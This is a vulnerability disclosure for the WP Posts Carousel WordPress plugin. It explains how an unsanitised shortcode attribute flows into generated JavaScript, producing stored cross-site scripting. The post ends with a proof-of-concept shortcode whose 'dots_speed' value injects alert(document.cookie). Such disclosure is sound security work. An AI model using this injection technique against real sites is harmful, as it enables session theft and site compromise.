09 Jun

Authenticated Persistent Cross-Site Scripting (XSS) in WP Posts Carousel

Recently we found that the plugin WP Posts Carousel has an authenticated persistent cross-site scripting (XSS) vulnerability due to a lack of sanitation or escaping when shortcode attributes are output in Javascript code generated by the plugin.

For example, the “dots_speed attribute is added to the output with the following line in the file /carousel-generator.class.php:

dotsSpeed: ' . $params['dots_speed'] . ',

Before that the value pass through several locations without any sanitization.

It starts as one of the value in $att in the function that is called by the shortcode, in the file /shortcode-decode.class.php:

public static function initialize($atts, $content = null, $code = "") {
    return WpPostsCarouselGenerator::generate($atts);

In the generate() function it gets placed in the $params variable after being passed through the function prepareSettings(), which doesn’t impact it (both of those are in the file /carousel-generator.class.php):

public static function generate($atts) {
    global $post;
     * default parameters
    $params = self::prepareSettings($atts);

We notified the developer of the vulnerability nearly three week ago, but haven’t heard back from them and the vulnerability has yet to be fixed.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the relevant post or page.

When logged in as a user that can save posts and pages, add the following shortcode to a post or page:

[wp_posts_carousel template="compact.css" post_types="post" all_items="10" show_only="id" exclude="" posts="" ordering="asc" categories="" relation="and" tags="" show_title="true" show_created_date="true" show_description="false" allow_shortcodes="false" show_category="true" show_tags="false" show_more_button="true" show_featured_image="true" image_source="thumbnail" image_height="100" image_width="100" items_to_show_mobiles="1" items_to_show_tablets="2" items_to_show="4" slide_by="1" margin="5" loop="true" stop_on_hover="true" auto_play="true" auto_play_timeout="1200" auto_play_speed="800" nav="true" nav_speed="800" dots="true" dots_speed="800,});alert(document.cookie);wpPostsCarousel1995130008.owlCarousel({loop: false" lazy_load="false" mouse_drag="true" mouse_wheel="true" touch_drag="true" easing="linear" auto_height="true" custom_breakpoints=""]


  • May 22, 2017 – Developer notified.